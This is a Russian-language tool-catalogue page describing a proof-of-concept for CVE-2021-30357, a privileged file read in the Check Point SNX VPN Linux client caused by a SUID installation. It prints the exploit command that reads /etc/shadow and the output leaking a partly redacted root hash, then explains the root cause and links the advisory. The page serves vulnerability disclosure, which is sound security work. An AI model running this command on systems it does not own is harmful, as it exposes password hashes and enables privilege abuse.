Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-30357_CheckPoint_SNX_VPN_PoC — Proof-of-Concept для чтения привилегированных файлов через клиент CheckPoint SNX VPN Linux | Kitploit
Инструменты/GitHubGitHub/joaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc
Повышение привилегийСканеры уязвимостейАнализ уязвимостейЭксплуатацияТестирование на Проникновение
GitHubjoaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Proof-of-Concept для чтения привилегированных файлов через клиент CheckPoint SNX VPN Linux

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
61123 лет назадЕщё не проверено

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Доказательство концепции для привилегированного чтения файлов через CheckPoint SNX VPN Linux Client.

Подверженная версия

  • CheckPointVPN_SNX_Linux_800007075.sh
  • Контрольная сумма MD5: 4372e9936e2dfb1d1ebcef3ed4dd7787

Эксплойт

Для эксплуатации просто загрузите любой файл в качестве конфигурации SNX, используя параметр -f. Если файл не является допустимой конфигурацией SNX, будет выдана ошибка и отображена синтаксическая ошибка, что приведёт к утечке содержимого до обнаружения терминатора строки (например, etc/shadow):

root@kitploit:~
$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)

Уязвимость

Причина заключается в том, что исполняемый файл /usr/bin/snx имеет бит SETUID и выполняется от имени суперпользователя, что устанавливается в процессе инсталляции.

В частности, переменная COMMAND_TO_RUN, определённая в установочном .sh файле (CheckPointVPN_SNX_Linux_800007075.sh):

root@kitploit:~
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"

В параметре --mode=u=rxs последний s устанавливает SUID-бит, что приводит к выполнению двоичного файла от имени root.

Официальное уведомление

  • https://support.checkpoint.com/results/sk/sk173513
  • https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
Скачать инструмент